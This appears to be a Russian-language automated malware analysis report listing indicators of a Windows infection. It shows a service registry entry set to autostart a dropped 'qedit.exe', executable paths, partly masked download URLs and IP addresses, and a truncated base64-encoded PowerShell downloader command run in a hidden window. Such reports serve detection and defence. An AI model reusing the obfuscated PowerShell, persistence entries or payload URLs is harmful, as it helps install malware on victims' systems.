Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\qedit] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\qedit] 'ImagePath' = '"<SYSTEM32>\win87em\qedit.exe"'
- 'qedit' "<SYSTEM32>\win87em\qedit.exe"
- 'qedit' <SYSTEM32>\win87em\qedit.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADYAZQBuADkAawBrAD0AKAAoACcAWQB1ACcAKwAnAHcAJwApACsAKAAnAGkAbQB1ACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAUwBFAHIAcABSAG8AZgBJAGwARQBcAE0AdwBnAD...
- %HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe
- <SYSTEM32>\win87em\qedit.exe
- %HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe в <SYSTEM32>\win87em\qedit.exe
- '19#.#58.216.73':80
- http://mo####ialcoop.com/wp-includes/u1weym/
- http://19#.#58.216.73/HNT87QXHWiD0L3bWWK/pg4GzUNpyTNuYFGMg/oKIBj29Qq9AsLHrE/i4TolG/BnQbYhL/
- DNS ASK mo####ialcoop.com
- '%HOMEPATH%\mwg73we\pzq45on\qmb49zmp_.exe'
- '<SYSTEM32>\win87em\qedit.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaADYAZQBuADkAawBrAD0AKAAoACcAWQB1ACcAKwAnAHcAJwApACsAKAAnAGkAbQB1ACcAKwAnAGUAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdABlAG0AJwApACAAJABFAE4AVgA6AHUAUwBFAHIAcABSAG8AZgBJAGwARQBcAE0AdwBnAD...' (со скрытым окном)